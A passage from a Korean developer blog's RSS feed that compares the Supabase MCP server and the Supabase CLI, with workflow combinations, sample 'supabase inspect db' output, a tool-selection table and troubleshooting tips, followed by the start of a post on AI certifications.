&lt;li&gt;MCP &lt;code&gt;get_advisors&lt;/code&gt;로 원격 DB 보안/성능 점검&lt;/li&gt;
&lt;li&gt;MCP &lt;code&gt;get_logs&lt;/code&gt;로 배포 후 에러 확인&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;추천 조합 3: MCP로 데이터 분석 &amp;rarr; CLI로 자동화&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2.0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;MCP &lt;code&gt;execute_sql&lt;/code&gt;로 데이터 탐색 (&quot;지난 달 매출 추이 보여줘&quot;)&lt;/li&gt;
&lt;li&gt;분석 결과를 바탕으로 필요한 인덱스 식별&lt;/li&gt;
&lt;li&gt;MCP &lt;code&gt;apply_migration&lt;/code&gt;으로 인덱스 추가&lt;/li&gt;
&lt;li&gt;Bash: &lt;code&gt;supabase db diff&lt;/code&gt;로 변경사항 확인&lt;/li&gt;
&lt;li&gt;Bash: &lt;code&gt;supabase migration squash&lt;/code&gt;로 마이그레이션 정리&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;두 도구를 같이 쓰는 요령&lt;/b&gt;&lt;br /&gt;MCP는 탐색&amp;middot;설계&amp;middot;분석에 쓰고, CLI는 로컬 테스트&amp;middot;빌드&amp;middot;배포에 쓰면 된다. 겹치는 영역(타입 생성, 마이그레이션 적용)도 있지만 각자의 역할이 충분히 다르기 때문에 고민 없이 조합할 수 있다.&lt;/div&gt;
&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 6. MCP만 가능한 것 vs CLI만 가능한 것 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. MCP만 가능한 것 vs CLI만 가능한 것&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;display: flex; gap: 20px; flex-wrap: wrap; margin: 20px 0;&quot;&gt;
&lt;div style=&quot;flex: 1; min-width: 280px; background-color: #e8f0fe; padding: 20px; border-radius: 12px; border: 2px solid #0066cc;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;MCP&lt;/span&gt; 만 가능한 것&lt;/h3&gt;
&lt;ul style=&quot;margin: 0; padding-left: 18px; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;AI가 스키마를 읽고 SQL 자동 생성&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;DDL/DML 분리 권장&lt;/b&gt; (apply_migration vs execute_sql)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;get_advisors&lt;/b&gt; 보안/성능 어드바이저&lt;/li&gt;
&lt;li&gt;&lt;b&gt;search_docs&lt;/b&gt; 공식 문서 검색&lt;/li&gt;
&lt;li&gt;&lt;b&gt;get_logs&lt;/b&gt; API/Postgres/Edge Functions/Auth/Storage/Realtime 로그&lt;/li&gt;
&lt;li&gt;&lt;b&gt;list_storage_buckets&lt;/b&gt; 스토리지 버킷 조회 (features=storage 활성화 필요)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;read_only&lt;/b&gt; URL 파라미터로 읽기 전용 모드&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Claude Desktop&lt;/b&gt; 지원&lt;/li&gt;
&lt;li&gt;&lt;b&gt;자연어 대화형&lt;/b&gt; DB 관리&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;flex: 1; min-width: 280px; background-color: #e8f5e9; padding: 20px; border-radius: 12px; border: 2px solid #28a745;&quot;&gt;
&lt;h3 style=&quot;color: #28a745; margin: 0 0 15px 0; font-size: 18px;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;CLI&lt;/span&gt; 만 가능한 것&lt;/h3&gt;
&lt;ul style=&quot;margin: 0; padding-left: 18px; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;supabase start&lt;/b&gt; 로컬 전체 스택 (Docker)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;supabase db diff&lt;/b&gt; 스키마 차이 감지&lt;/li&gt;
&lt;li&gt;&lt;b&gt;supabase db lint&lt;/b&gt; Postgres 린트&lt;/li&gt;
&lt;li&gt;&lt;b&gt;supabase test db&lt;/b&gt; pgTAP 테스트&lt;/li&gt;
&lt;li&gt;&lt;b&gt;supabase migration squash&lt;/b&gt; 마이그레이션 압축&lt;/li&gt;
&lt;li&gt;&lt;b&gt;supabase functions serve&lt;/b&gt; Edge Function 로컬 실행&lt;/li&gt;
&lt;li&gt;&lt;b&gt;supabase inspect db&lt;/b&gt; 성능 분석 (bloat, locks, outliers 등 13개 서브커맨드)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;CI/CD 파이프라인&lt;/b&gt; 통합&lt;/li&gt;
&lt;li&gt;&lt;b&gt;오프라인 개발&lt;/b&gt; 환경&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;CLI 전용 기능 실검증: &lt;code style=&quot;background: #e0f0e0; padding: 2px 6px; border-radius: 4px;&quot;&gt;supabase inspect db&lt;/code&gt; 실제 출력&lt;/b&gt;&lt;br /&gt;아래는 실제 프로젝트(rag project)에서 &lt;code style=&quot;background: #e0f0e0; padding: 2px 6px; border-radius: 4px;&quot;&gt;supabase inspect db&lt;/code&gt; 서브커맨드를 돌려본 결과다. MCP의 &lt;code style=&quot;background: #e0f0e0; padding: 2px 6px; border-radius: 4px;&quot;&gt;get_advisors&lt;/code&gt;로는 이 수준의 성능 분석이 안 된다.&lt;br /&gt;&lt;br /&gt;
&lt;p style=&quot;margin: 12px 0 6px 0; font-size: 14px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;outliers (실행시간이 긴 쿼리 Top):&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 12px; border-radius: 6px; font-family: 'Fira Code','Consolas',monospace; font-size: 12px; margin: 6px 0; overflow-x: auto;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# supabase inspect db outliers&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;1위: delete from public.intraday_top50_members where created_at &amp;lt; now() - interval $1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;rarr; 실행 시간: 19.3초 | 비율: 17.0% | 호출 횟수: 30&lt;br /&gt;&lt;br /&gt;2위: insert into public.intraday_top50_members (...) values (...)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;rarr; 실행 시간: 9.5초 | 비율: 8.4% | 호출 횟수: 39,864&lt;/div&gt;
&lt;p style=&quot;margin: 12px 0 6px 0; font-size: 14px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;br /&gt;index-stats (미사용 인덱스 감지):&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 12px; border-radius: 6px; font-family: 'Fira Code','Consolas',monospace; font-size: 12px; margin: 6px 0; overflow-x: auto;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# supabase inspect db index-stats&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;public.ix_trade_execution_log_code&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;rarr; Unused: true&lt;br /&gt;public.idx_goddaehee_posts_published_date &amp;rarr; Unused: true&lt;/div&gt;
미사용 인덱스는 쓰기 성능을 떨어뜨리면서 공간만 차지한다. 이런 건 주기적으로 inspect로 확인하고 정리해주는 게 좋다.&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;정리하면&lt;/b&gt;&lt;br /&gt;MCP는 AI가 스키마를 읽고 SQL을 생성하거나 보안을 점검하는 작업에 적합하다. CLI는 로컬 환경 구동, 마이그레이션 파이프라인, pgTAP 테스트처럼 스크립트로 반복할 수 있는 작업에 맞는다.&lt;/div&gt;
&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 7. 실전 선택 가이드 &amp; 결론 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 선택 가이드 &amp;amp; 결론&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;언제 MCP를 쓸까?&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;새로운 테이블/스키마를 &lt;b&gt;설계&lt;/b&gt;할 때 (AI가 기존 스키마를 이해하고 제안)&lt;/li&gt;
&lt;li&gt;복잡한 SQL을 &lt;b&gt;자연어로&lt;/b&gt; 요청하고 싶을 때&lt;/li&gt;
&lt;li&gt;DB &lt;b&gt;보안/성능 점검&lt;/b&gt;이 필요할 때 (get_advisors)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;로그를 분석&lt;/b&gt;하고 싶을 때 (get_logs)&lt;/li&gt;
&lt;li&gt;Claude Desktop에서 DB를 관리하고 싶을 때&lt;/li&gt;
&lt;li&gt;프로덕션 DB를 &lt;b&gt;read_only&lt;/b&gt; 모드로 안전하게 조회할 때&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;언제 CLI를 쓸까?&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;로컬 개발 환경&lt;/b&gt;을 구성할 때 (supabase start)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;마이그레이션 파이프라인&lt;/b&gt;을 관리할 때 (diff, squash, push)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;TypeScript 타입&lt;/b&gt;을 생성할 때&lt;/li&gt;
&lt;li&gt;&lt;b&gt;pgTAP 테스트&lt;/b&gt;를 실행할 때&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Edge Function을 로컬에서&lt;/b&gt; 개발/테스트할 때&lt;/li&gt;
&lt;li&gt;&lt;b&gt;CI/CD&lt;/b&gt;에서 자동 배포할 때&lt;/li&gt;
&lt;li&gt;&lt;b&gt;DB 성능&lt;/b&gt;을 상세 분석할 때 (inspect)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;매트릭스&lt;/h3&gt;
&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 계속 업데이트가 되면 달라지겠지만 현재로서는 이런 식의 조합이 될 것 같다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef; overflow-x: auto;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #dee2e6;&quot;&gt;작업 유형&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: center; border: 1px solid #dee2e6;&quot;&gt;추천 도구&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #dee2e6;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;스키마 설계/변경&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;MCP&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;AI가 기존 스키마를 이해하고 SQL 자동 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;데이터 조회/분석&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;MCP&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;자연어로 복잡한 쿼리 요청 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;로컬 개발 환경&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;CLI&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;Docker 기반 전체 스택 구동&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;마이그레이션 관리&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;CLI&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;diff, squash, test 등 파이프라인 기능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;보안 점검&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;MCP&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;get_advisors + execute_sql 조합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;CI/CD 배포&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;CLI&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;비대화형 자동화에 적합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;타입 생성&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #6c757d; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;동등&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;양쪽 모두 가능 (CLI: gen types / MCP: generate_typescript_types)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;로그 분석&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;MCP&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;API/Postgres/Edge Functions/Auth/Storage/Realtime 로그 통합 조회&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;CLI 사용 시 주의사항 및 트러블슈팅&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;CLI를 처음 쓸 때 빠지기 쉬운 함정들이다. 실제로 이 글 작성하면서 겪은 것들을 정리했다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;supabase login&lt;/code&gt; &amp;mdash; non-TTY 환경에서 실패&lt;/b&gt;&lt;br /&gt;Claude Code 내부 Bash에서 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;supabase login&lt;/code&gt;을 실행하면 interactive TTY가 아니라서 브라우저 로그인이 안 된다:
&lt;div style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 10px; border-radius: 6px; font-family: 'Fira Code','Consolas',monospace; font-size: 12px; margin: 8px 0;&quot;&gt;Cannot use automatic login flow inside non-TTY environments.&lt;br /&gt;Please provide --token flag or set the SUPABASE_ACCESS_TOKEN environment variable.&lt;/div&gt;
&lt;b&gt;해결:&lt;/b&gt; 별도 터미널에서 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;supabase login&lt;/code&gt;을 실행하거나, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;SUPABASE_ACCESS_TOKEN&lt;/code&gt; 환경 변수를 설정한다.&lt;/div&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;supabase inspect db&lt;/code&gt; &amp;mdash; &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;--project-ref&lt;/code&gt; 플래그 미지원&lt;/b&gt;&lt;br /&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;inspect&lt;/code&gt; 명령어는 linked 프로젝트에서만 동작한다. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;--project-ref&lt;/code&gt;를 직접 넘기면 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;unknown flag&lt;/code&gt; 에러가 난다.&lt;br /&gt;&lt;b&gt;해결:&lt;/b&gt; 먼저 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;supabase init&lt;/code&gt; &amp;rarr; &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;supabase link --project-ref &amp;lt;ref&amp;gt;&lt;/code&gt; 후 inspect를 실행한다.&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;table-sizes&lt;/code&gt; deprecated &amp;rarr; &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;table-stats&lt;/code&gt; 사용&lt;/b&gt;&lt;br /&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;supabase inspect db table-sizes&lt;/code&gt;는 deprecated 되었다. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;table-stats&lt;/code&gt;로 변경해서 사용하자. 기존 스크립트나 블로그에서 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;table-sizes&lt;/code&gt;로 안내하는 경우가 아직 많으니 주의.&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;macOS에서 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;psql&lt;/code&gt; 미설치&lt;/b&gt;&lt;br /&gt;CLI 일부 기능이나 직접 DB 접속 시 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;psql&lt;/code&gt;이 필요한데 macOS에 기본 설치되어 있지 않다.&lt;br /&gt;&lt;b&gt;해결:&lt;/b&gt; &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;brew install libpq&lt;/code&gt; 후 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;export PATH=&quot;/opt/homebrew/opt/libpq/bin:$PATH&quot;&lt;/code&gt;를 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;~/.zshrc&lt;/code&gt;에 추가한다.&lt;/div&gt;
&lt;div style=&quot;background: linear-gradient(135deg, #1a3a52 0%, #0066cc 100%); padding: 24px 28px; border-radius: 12px; margin: 30px 0; color: white;&quot;&gt;
&lt;h3 style=&quot;color: white; margin: 0 0 12px 0; font-size: 20px;&quot; data-ke-size=&quot;size23&quot;&gt;결론: CLI로 로컬 스택 띄우고, MCP로 스키마 설계/쿼리&lt;/h3&gt;
&lt;p style=&quot;margin: 0; font-size: 15px; line-height: 1.8; opacity: 0.95;&quot; data-ke-size=&quot;size16&quot;&gt;MCP와 CLI는 잘하는 게 다르다. MCP는 대화 흐름 안에서 스키마를 설계하고 보안을 점검하는 데 쓰고, CLI는 로컬 환경과 CI/CD처럼 자동화가 필요한 곳에 쓰면 된다. 둘 다 쓰는 게 맞다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;CLI로 &lt;code style=&quot;background: rgba(255,255,255,0.2); padding: 2px 6px; border-radius: 4px;&quot;&gt;supabase start&lt;/code&gt; &amp;rarr; 로컬 개발 &amp;rarr; MCP로 원격 DB 스키마 설계/점검 &amp;rarr; CLI로 &lt;code style=&quot;background: rgba(255,255,255,0.2); padding: 2px 6px; border-radius: 4px;&quot;&gt;db push&lt;/code&gt; 배포&lt;/b&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 8. 참고 자료 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 참고 자료&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px; line-height: 2.2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://supabase.com/docs/guides/getting-started/mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Supabase 공식 MCP 문서&lt;/a&gt; &amp;mdash; MCP 설치 및 Tool 레퍼런스&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/supabase-community/supabase-mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;supabase-community/supabase-mcp&lt;/a&gt; &amp;mdash; MCP 서버 소스코드 (GitHub)&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://supabase.com/docs/guides/local-development/cli/getting-started&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Supabase CLI Getting Started&lt;/a&gt; &amp;mdash; CLI 설치 및 기본 사용법&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://supabase.com/docs/reference/cli/introduction&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Supabase CLI Reference&lt;/a&gt; &amp;mdash; CLI 전체 명령어 레퍼런스&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://supabase.com/docs/guides/local-development/cli/managing-environments&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Managing Environments&lt;/a&gt; &amp;mdash; 로컬/스테이징/프로덕션 환경 관리&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/MCP(2026) vs CLI</category>
      <category>supabase</category>
      <category>Supabase cli</category>
      <category>Supabase cli 란</category>
      <category>Supabase cli 문법</category>
      <category>supabase cli 사용 방법</category>
      <category>Supabase cli 설치</category>
      <category>Supabase cli 예시</category>
      <category>supabase mcp</category>
      <category>Supabase mcp vs cli</category>
      <category>Supabase 사용예시</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/551</guid>
      <comments>https://goddaehee.tistory.com/551#entry551comment</comments>
      <pubDate>Wed, 18 Mar 2026 00:30:07 +0900</pubDate>
    </item>
    <item>
      <title>AI 자격증 뭘 따야 할까? 2026 AI 수료증 정리 &amp;mdash; Anthropic&amp;middot;Google&amp;middot;IBM 등 플랫폼 별 비교</title>
      <link>https://goddaehee.tistory.com/550</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희입니다.&lt;/span&gt;&lt;/p&gt;
